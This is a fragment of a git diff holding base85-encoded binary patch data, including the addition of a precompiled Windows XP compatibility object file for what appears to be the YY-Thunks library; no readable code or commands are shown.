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 literal 0 HcmV?d00001 diff --git a/resources/YY-Thunks-Objs/objs/x86/YY_Thunks_for_WinXP.obj b/resources/YY-Thunks-Objs/objs/x86/YY_Thunks_for_WinXP.obj new file mode 100755 index 0000000000000000000000000000000000000000..ac5a17922d410a98eaea40c1398d3b7c00a17a37 GIT binary patch literal 5080453 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 